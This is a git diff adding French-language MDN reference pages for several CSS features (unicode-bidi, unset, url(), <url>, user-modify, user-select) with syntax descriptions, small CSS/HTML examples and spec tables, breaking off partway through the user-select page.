+++ b/files/fr/web/css/unicode-bidi/index.html
@@ -0,0 +1,100 @@
+---
+title: unicode-bidi
+slug: Web/CSS/unicode-bidi
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/unicode-bidi
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>unicode-bidi</code></strong>, associée à la propriété {{cssxref("direction")}}, permet de gérer du texte bidirectionnel dans un document. Par exemple, si un bloc de texte contient à la fois du texte qui se lit de droite à gauche et du texte qui se lit de gauche à droite, l'agent utilisateur utilisera un algorithme Unicode complexe pour savoir comment afficher le texte. Cette propriété prend le pas sur l'algorithme et permet au développeur de contrôler l'intégration du texte.</p>
+
+<p>Les propriétés <code>unicode-bidi</code> et {{cssxref("direction")}} sont les deux seules propriétés qui ne sont pas impactées par {{cssxref("all")}}.</p>
+
+<div class="note"><strong>Note :</strong> Cette propriété est d'abord destinée aux concepteurs de DTD, les auteurs Web ne devraient pas surcharger sa valeur.</div>
+
+<pre class="brush:css no-line-numbers">/* Avec un mot-clé */
+unicode-bidi: normal;
+unicode-bidi: embed;
+unicode-bidi: isolate;
+unicode-bidi: bidi-override;
+unicode-bidi: isolate-override;
+unicode-bidi: plaintext;
+
+/* Valeurs globales */
+unicode-bidi: inherit;
+unicode-bidi: initial;
+unicode-bidi: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>L'élément n'ajoute pas de niveau de logique supplémentaire pour l'intégration et l'application de l'algorithme de bidirectionnalité. Pour les éléments en ligne, le réarrangement des éléments est fait entre les frontières des éléments.</dd>
+ <dt><code>embed</code></dt>
+ <dd>Si l'élément est en ligne, la valeur ajoute un niveau de logique supplémentaire pour l'intégration. La direction du niveau d'intégration est fournie par la propriété {{cssxref("direction")}}.</dd>
+ <dt><code>bidi-override</code></dt>
+ <dd>Pour les éléments en ligne, cela surcharge la directionnalité. Pour les conteneurs de bloc, cela crée une surcharge pour les éléments-fils qui sont en ligne et qui ne sont pas dans un autre conteneur de bloc. Cela signifie qu'au sein de l'élément, le réarrangement se fait strictement en fonction de la propriété {{cssxref("direction")}}, la partie implicite apportée par l'algorithme de bidirectionnalité est ignorée.</dd>
+ <dt><code>isolate</code></dt>
+ <dd>Ce mot-clé indique que la directionnalité du conteneur de l'élément devrait être calculée sans prendre en compte le contenu de cet élément. L'élément est donc <em>isolé</em> (<em>isolated</em> en anglais) de ses voisins. Lorsqu'on applique l'algorithme de résolution bidirectionnelle, l'élément conteneur le traite comme un ou plusieurs <code>U+FFFC Object Replacement Character</code> (autrement dit, comme une image).</dd>
+ <dt><code>isolate-override</code></dt>
+ <dd>Ce mot-clé applique l'isolation fournie par <code>isolate</code> au contenu environnant et applique la surcharge fournie par <code>bidi-override</code> au contenu intérieur.</dd>
+ <dt><code>plaintext</code>{{experimental_inline}}</dt>
+ <dd>Ce mot-clé permet de calculer la directionnalité de l'élément sans prendre en compte l'état de son parent ou la valeur de la propriété {{cssxref("direction")}}. La directionnalité est calculée en utilisant les règles P2 et P3 de l'algorithme de bidirectionnalité Unicode.<br>
+ Cette valeur permet d'affiché des données qui ont déjà été mises en forme par un outil ayant appliqué l'algorithme de bidirectionnalité Unicode.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">.bible-quote {
+  direction: rtl;
+  unicode-bidi: embed;
+}
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Writing Modes', '#unicode-bidi', 'unicode-bidi')}}</td>
+   <td>{{Spec2('CSS3 Writing Modes')}}</td>
+   <td>Ajout des mots-clés <code>plaintext</code>, <code>isolate</code> et <code>isolate-override</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#propdef-unicode-bidi', 'unicode-bidi')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.unicode-bidi")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("direction")}}</li>
+</ul>
diff --git a/files/fr/web/css/unset/index.html b/files/fr/web/css/unset/index.html
new file mode 100644
index 0000000000..218d83528d
--- /dev/null
+++ b/files/fr/web/css/unset/index.html
@@ -0,0 +1,115 @@
+---
+title: unset
+slug: Web/CSS/unset
+tags:
+  - CSS
+  - Mot-clé
+  - Reference
+  - Web
+translation_of: Web/CSS/unset
+---
+<div>{{CSSRef}}</div>
+
+<p>Le mot-clé <strong><code>unset</code></strong> correspond à la combinaison des mots-clés {{cssxref("initial")}} et {{cssxref("inherit")}}. Comme les autres mots-clés globaux à tout CSS, il peut être utilisé pour n'importe quelle propriété CSS, y compris la propriété raccourcie {{cssxref("all")}}. Ce mot-clé <em>réinitialise</em> la propriété afin que sa valeur soit la valeur héritée depuis l'élément parent ou soit la valeur initiale (s'il n'y a pas d'héritage). Autrement dit, s'il y a de l'héritage, ce mot-clé se comporte comme <code>inherit</code>, sinon, il se comporte comme <code>initial</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Avec_color">Avec <code>color</code></h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p {
+  color: red;
+}
+
+#sidebar p {
+  color: unset;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;This text is red&lt;/p&gt;
+&lt;div id="sidebar"&gt;
+  &lt;p&gt;This text has the default color&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Avec_color', '100%', '120')}}</p>
+
+<h3 id="Avec_border">Avec <code>border</code></h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">div {
+  border: 1px solid green;
+}
+
+p {
+  border: 1px solid red;
+}
+
+.truc p {
+  border-color: unset;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Ce texte a une bordure rouge.&lt;/p&gt;
+&lt;div class="toto"&gt;
+  &lt;p&gt;Ce texte a une bordure rouge&lt;/p&gt;
+&lt;/div&gt;
+&lt;div class="truc"&gt;
+  &lt;p&gt;Ce texte a une bordure noire (la valeur initiale, non héritée)&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Avec_border','100%','200')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Cascade', '#inherit-initial', 'unset')}}</td>
+   <td>{{Spec2('CSS4 Cascade')}}</td>
+   <td>Aucun changement depuis Level 3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Cascade', '#inherit-initial', 'unset')}}</td>
+   <td>{{Spec2('CSS3 Cascade')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.global_keywords.unset")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les valeurs globales qui peuvent s'appliquer pour toutes les propriétés CSS :
+  <ul>
+   <li>{{cssxref("initial")}},</li>
+   <li>{{cssxref("inherit")}},</li>
+   <li>{{cssxref("unset")}},</li>
+   <li>{{cssxref("revert")}}.</li>
+  </ul>
+ </li>
+ <li>La propriété {{cssxref("all")}} est une propriété raccourcie qui permet de réinitialiser l'ensemble des propriétés avec leurs valeurs initiales, héritées, annulées ou indéfinies.</li>
+</ul>
diff --git a/files/fr/web/css/url()/index.html b/files/fr/web/css/url()/index.html
new file mode 100644
index 0000000000..d09e8c4434
--- /dev/null
+++ b/files/fr/web/css/url()/index.html
@@ -0,0 +1,184 @@
+---
+title: url()
+slug: Web/CSS/url()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Web
+  - url()
+translation_of: Web/CSS/url()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <code><strong>url</strong></code><strong><code>()</code></strong> est utilisée afin d'inclure un fichier. Le paramètre est une URL absolue, une URL relative ou un URI de donnée. La fonction <code><strong>url</strong></code><strong><code>()</code></strong> peut être utilisée comme paramètre d'une autre fonction comme {{cssxref('attr()')}}. Selon la propriété pour laquelle elle est utilisée, la ressource utilisée peut être une image, une police ou une feuille de stye.</p>
+
+<p>La notation fonctionelle <code>url()</code> correspond au type de donnée CSS <code><a href="/fr/docs/Web/CSS/url">&lt;url&gt;</a></code>.</p>
+
+<pre class="brush: css no-line-numbers">/* Utilisation simple */
+url(https://example.com/images/myImg.jpg);
+url(data:image/png;base64,iRxVB0…);
+url(myFont.woff);
+url(#IDofSVGpath);
+
+/* Propriétés utilisables */
+background-image: url("https://mdn.mozillademos.org/files/16761/star.gif");
+list-style-image: url('../images/bullet.jpg');
+content: url("pdficon.jpg");
+cursor: url(mycursor.cur);
+border-image-source: url(/media/diamonds.png);
+src: url('fantasticfont.woff');
+offset-path: url(#path);
+mask-image: url("masks.svg#mask1");
+
+/* Propriétés avec valeurs de recours */
+cursor: url(pointer.cur), pointer
+
+/* Propriétés raccourcies associées */
+background: url('https://mdn.mozillademos.org/files/16761/star.gif') bottom right repeat-x blue;
+border-image: url("/media/diamonds.png") 30 fill / 30px / 30px space;
+
+/* Utilisation comme paramètre d'une fonction CSS */
+background-image: cross-fade(20% url(first.png), url(second.png));
+mask-image: image(url(mask.png), skyblue, linear-gradient(rgba(0, 0, 0, 1.0), transparent);
+
+/* Utilisation avec plusieurs valeurs */
+content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg);
+
+/* Règles @ / at-rules */
+@document url("https://www.example.com/") { ... } {{Experimental_Inline}}
+@import url("https://www.example.com/style.css");
+@namespace url(http://www.w3.org/1999/xhtml);
+</pre>
+
+<p>Lorsque des URL relatives sont utilisées, elles sont relatives à l'URL de la feuille de style et pas à celle de la page web courante).</p>
+
+<p class="task-list-item">La fonction <code><strong>url</strong></code><strong><code>()</code></strong> peut être incluse comme valeur pour les propriétés {{cssxref('background-image')}}, {{cssxref('border-image')}}, {{cssxref('list-style-image')}}, {{cssxref('content' )}}, {{cssxref('cursor')}}, {{cssxref('border-image')}}, {{cssxref('border-image-source')}}, comme descripteur <code><a href="/fr/docs/Web/CSS/@font-face/src">src</a></code> pour une règle <code><a href="/fr/docs/Web/CSS/@font-face">@font-face</a></code> ou <code><a href="/fr/docs/Web/CSS/@counter-style/symbols">@counter-style/symbol</a></code></p>
+
+<p>Dans la spécification CSS de niveau 1, la notation fonctionnelle <code>url()</code> ne permettait que de décrire des URL. Avec la spécification de niveau 2, la définition d'<code>url()</code> a été étendue afin de décrire n'importe quel URI, y compris des URI de données. Le module de spécification <em>CSS Values and Units</em> de niveau 3 est revenu à la définition initiale plus stricte. Aussi, à l'heure actuelle et formellement <code>url()</code> ne permet que de décrire des valeurs <code>&lt;url&gt;</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>
+ <dl>
+  <dt><code>&lt;url&gt;</code></dt>
+  <dd>Une URL, relative ou absolue, qui pointe vers une ressource web à inclure ou un URI de donnée éventuellement encadrée entre quotes ou doubles quotes. Les quotes sont obligatoires si l'URL inclut des parenthèses, espaces, doubles quotes, etc. (sauf si ces caractères sont échappés) ou si l'adresse inclut des caractères de contrôle supérieurs à <code>0x7e</code>. Il n'est pas possible d'utiliser des doubles quotes dans une URL encadrée par des doubles quotes à moins de les échapper. De même, on ne peut pas utiliser une simple quote dans une URL délimitée par des simples quotes. Les déclarations suivantes seront équivalentes :
+  <pre class="syntaxbox">&lt;propriété_css&gt;: url("https://example.com/image.png")
+&lt;propriété_css&gt;: url('https://example.com/image.png')
+&lt;propriété_css&gt;: url(https://example.com/image.png)</pre>
+  </dd>
+ </dl>
+ </dd>
+ <dt><em>chemin</em></dt>
+ <dd>La référence à un identifiant d'une <a href="/en-US/docs/Web/SVG/Tutorial/Basic_Shapes">forme SVG</a> -- <code>circle</code>, <code>ellipse</code>, <code>line</code>, <code>path</code>, <code>polygon</code>, <code>polyline</code>, or <code>rect</code>. Ce sera alors la géométrie de la forme qui sera utilisée pour le chemin.</dd>
+</dl>
+
+<dl>
+ <dt><code>url-modifier</code> {{Experimental_Inline}}</dt>
+ <dd>À l'avenir, la fonction <code>url()</code> pourrait prendre en charge un modificateur tel qu'un identifiant ou une notation fonctionnelle qui modifierait le sens de l'URL. Cette valeur n'est pas complètement définie par la spécification et n'est pas prise en charge.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">url( <a href="/fr/docs/Web/CSS/string">&lt;string&gt;</a> <a href="/en-US/docs/">&lt;url-modifier&gt;</a>* )</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Propriété_content">Propriété <code>content</code></h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Item 1&lt;/li&gt;
+  &lt;li&gt;Item 2&lt;/li&gt;
+  &lt;li&gt;Item 3&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css highlight[2]">li::after {
+  content: ' - ' url(https://mdn.mozillademos.org/files/16761/star.gif);
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Propriété_content", "100%", 50)}}</p>
+
+<h3 id="URI_de_données">URI de données</h3>
+
+<div id="color-value">
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="background"&gt;&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">.background {
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css highlight[6]">.background {
+  background: yellow;
+  background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3E%3Cpath d='M10 10h60' stroke='%2300F' stroke-width='5'/%3E%3Cpath d='M10 20h60' stroke='%230F0' stroke-width='5'/%3E%3Cpath d='M10 30h60' stroke='red' stroke-width='5'/%3E%3C/svg%3E");
+}</pre>
+</div>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("URI_de_données", "100%", 50)}}</p>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#urls', 'url()')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#urls', 'url()')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Aucune modification significative depuis la spécification de niveau 2 (première révision).</td>
+  </tr>
+  <tr>
+   <td>{{Specname('CSS2.1', 'syndata.html#uri', 'uri()')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification significative depuis la spécification de niveau 1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#url', 'url()')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("css.types.url")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/fr/web/css/url/index.html b/files/fr/web/css/url/index.html
new file mode 100644
index 0000000000..7b1b51043c
--- /dev/null
+++ b/files/fr/web/css/url/index.html
@@ -0,0 +1,108 @@
+---
+title: <url>
+slug: Web/CSS/url
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/url
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;url&gt;</code></strong> représente un pointeur vers une ressource (cela peut être une image, une police de caractères). Ce type de données ne possède pas de syntaxe propre et ne peut être utilisé qu'avec la notation fonctionnelle <code>url()</code>. Il est utilisé avec de nombreuses propriétés telles que {{cssxref("background-image")}}, {{cssxref("cursor")}}, {{cssxref("list-style")}}, etc.</p>
+
+<div class="note"><strong>Note : URI ou URL ?</strong><br>
+<br>
+Une <a href="https://fr.wikipedia.org/wiki/Uniform_Resource_Identifier">URI</a> est différente d'une <a href="https://fr.wikipedia.org/wiki/Uniform_Resource_Locator">URL</a>. Une URL décrit l'emplacement d'une ressource et l'URI décrit l'identifiant de la ressource. Une URI peut être un emplacement, une URL, un nom, une <a href="https://fr.wikipedia.org/wiki/Uniform_Resource_Name">URN</a> d'une ressource.<br>
+<br>
+Pour la spécification CSS de niveau 1, la notation fonctionnelle <code>url()</code> a été introduite afin de décrire des… URL, autrement dit des emplacements (un type de donnée <code>&lt;url&gt;</code> bien qu'il n'était pas défini explicitement).<br>
+<br>
+Pour la spécification CSS de niveau 2, la même notation fonctionnelle a été étendue afin de pouvoir décrire n'importe quelle URI, que ce soit une URL ou un URN. Cela a été une source d'ambiguïté car  <code>url()</code> était utilisée pour créer une valeur de type <code>&lt;uri&gt;</code>. En plus d'être source de confusion, les URN était très marginalement utilisées dans la pratique.<br>
+<br>
+Afin de remédier à cela, la spécification CSS de niveau 3 est revenue à la définition initiale avec cette fois-ci une définition explicite. La notation fonctionnelle <code>url()</code> représente donc une valeur de type <code>&lt;url&gt;</code> et plus une valeur de type <code>&lt;uri&gt;</code>.<br>
+<br>
+Cela dit, ces détails de sémantique ont peu d'impact pour les auteurs web voire pour l'implémentation du type de donnée par le moteur.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>L'URL peut être indiquée telle quelle comme argument de la fonction <code>url()</code>et encadrée, ou non, entre quotes ou doubles quotes. Il est possible d'utiliser des URL relatives. Celles-ci sont alors relatives à l'URL de la feuille de style (et non à l'URL de la page web).</p>
+
+<pre class="syntaxbox"> &lt;propriété_css&gt;:  url("http://monsite.exemple.com/curseur.png")
+ &lt;propriété_css&gt;: url("http://monsite.exemple.com/curseur.png")
+ &lt;propriété_css&gt;:  url(http://monsite.exemple.com/curseur.png)
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Les caractères de contrôle au-delà de 0x7e ne sont plus autorisés pour la forme sans quote à partir de Firefox 15. Voir {{bug(752230)}} pour plus d'informations.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ul {
+  list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif")
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+    &lt;li&gt;Élément 1&lt;/li&gt;
+    &lt;li&gt;Élément 2&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#urls', '&lt;url&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#urls', '&lt;url&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{Specname('CSS2.1', 'syndata.html#uri', '&lt;uri&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#url', '&lt;url&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.url")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("url()", "url()")}}</li>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/fr/web/css/user-modify/index.html b/files/fr/web/css/user-modify/index.html
new file mode 100644
index 0000000000..da8d61685a
--- /dev/null
+++ b/files/fr/web/css/user-modify/index.html
@@ -0,0 +1,90 @@
+---
+title: user-modify
+slug: Web/CSS/user-modify
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/user-modify
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{deprecated_header}}</div>
+
+<p>La propriété <strong><code>user-modify</code></strong> n'a aucun effet. Elle était initialement conçue pour déterminer si le contenu d'un élément peut être édité ou non par l'utilisateur.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+user-modify: read-only;
+user-modify: read-write;
+user-modify: write-only;
+
+/* Valeurs globales */
+user-modify: inherit;
+user-modify: initial;
+user-modify: unset;
+</pre>
+
+<div class="warning">
+<p><strong>Attention !</strong> Cette propriété a été remplacée par l'attribut {{HTMLAttrxref("contenteditable")}}.</p>
+</div>
+
+<p>Cette propriété est similaire à l'attribut HTML {{htmlattrxref("contenteditable")}}. Une propriété similaire : <code>user-focus</code> a été proposée <a class="external" href="https://www.w3.org/TR/2000/WD-css3-userint-20000216">pour des brouillons de la spécification CSS3 pour les interfaces utilisateur</a> mais fut rejetée par le groupe de travail. <strong>Elle a été désactivée de Firefox et n'a donc pas d'effet.</strong></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>user-modify</code> est définie grâce à un mot-clé parmi ceux de la liste ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>read-only</code></dt>
+ <dd>La valeur par défaut, le contenu ne peut pas être modifié.</dd>
+ <dt><code>read-write</code></dt>
+ <dd>L'utilisateur peut lire et modifier le contenu.</dd>
+ <dt><code>read-write-plaintext-only</code> {{Non-standard_inline}}</dt>
+ <dd>Identique à <code>read-write</code> mais la mise en forme du texte sera perdue.</dd>
+ <dt><code>write-only</code></dt>
+ <dd>L'utilisateur peut éditer le contenu mais ne peut pas le lire.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.readwrite {
+  -moz-user-modify: read-write;
+  -webkit-user-modify: read-write;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;div class="readwrite"&gt;L'utilisateur est capable de modifier ce texte.&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 300, 30)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><code>user-modify</code> a <a class="external" href="https://www.w3.org/TR/2000/WD-css3-userint-20000216#user-modify" lang="en">été proposée pour la spécification CSS 3 sur les interfaces utilisateurs</a> (le brouillon de travail de février 2000 qui est désormais remplacé par le module <em>Basic User Interface</em> de <em>CSS 3</em>).</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.user-modify")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-moz-user-focus")}}</li>
+ <li>{{cssxref("-moz-user-input")}}</li>
+ <li>{{cssxref("-moz-user-select")}}</li>
+</ul>
diff --git a/files/fr/web/css/user-select/index.html b/files/fr/web/css/user-select/index.html
new file mode 100644
index 0000000000..1024770ab4
--- /dev/null
+++ b/files/fr/web/css/user-select/index.html
@@ -0,0 +1,137 @@
+---
+title: user-select
+slug: Web/CSS/user-select
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/user-select
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>user-select</strong></code> permet de contrôler l'opération de <a href="/fr/docs/Web/API/Selection">sélection</a>. Cela n'a aucun effet sur le contenu qui est chargé dans les éléments de l'interface ({{Glossary("Chrome", "chrome")}}), sauf pour les boîtes de texte.</p>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+user-select: none;
+user-select: auto;
+user-select: text;
+user-select: contain;
+user-select: all;
+
+/* Valeurs globales */
+user-select: inherit;
+user-select: initial;
+user-select: unset;
+
+/* Valeurs spécifiques à Mozilla */
+-moz-user-select: none;
+-moz-user-select: text;
+-moz-user-select: all;
+
+/* Valeurs spécifiques à WebKit */
+-webkit-user-select: none;
+-webkit-user-select: text;
+-webkit-user-select: all; /* Ne fonctionne pas pour Safari */
+
+/* Valeurs spécifiques à Microsoft */
+-ms-user-select: none;
+-ms-user-select: text;
+-ms-user-select: element;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>On ne pourra pas sélectionner le texte de l'élément et celui de ses descendants. Toutefois, l'objet {{domxref("Selection")}} pourra contenir ces éléments. À partir de Firefox 21, <code>none</code> se comporte comme <code>-moz-none</code> et la sélection peut donc être réactivée sur les éléments fils avec <code>-moz-user-select:text</code>.</dd>
+ <dt><code>auto</code></dt>
+ <dd>
+ <p>Le texte sera sélectionné avec les propriétés par défaut appliquées par l'agent utilisateur. La valeur calculée est déterminée de la façon suivante :</p>
+
+ <ul>
+  <li>Pour les pseudo-éléments <code>::before</code> et <code>::after</code>, la valeur calculée sera <code>none</code></li>
+  <li>Si l'élément est un élément éditable, la valeur calculée est <code>contain</code></li>
+  <li>Sinon, si la valeur calculée de  <code>user-select</code> pour l'élément parent est <code>all</code>, la valeur calculée sera <code>all</code></li>
+  <li>Sinon, si la valeur calculée de  <code>user-select</code> pour l'élément parent est <code>all</code>, la valeur calculée sera <code>none</code></li>
+  <li>Sinon, la valeur calculée est <code>text</code></li>
+ </ul>
+ </dd>
+ <dt><code>text</code></dt>
+ <dd>Le texte peut être sélectionné par l'utilisateur<code>.</code></dd>
+ <dt><code>all</code></dt>
+ <dd>Dans un éditeur HTML, si un double clic ou si un clic contextuel se produit sur les éléments fils, c'est la valeur de l'ancêtre le plus haut qui sera sélectionnée.</dd>
+ <dt><code>contain</code></dt>
+ <dt><code>element</code> {{non-standard_inline}} (alias spécifique à IE)</dt>
+ <dd>Uniquement supporté par Internet Explorer. Cela permet d'activer la sélection au sein de l'élément, celle-ci ne pourra pas « sortir » de cet élément.</dd>
+</dl>
+
+<div class="note">
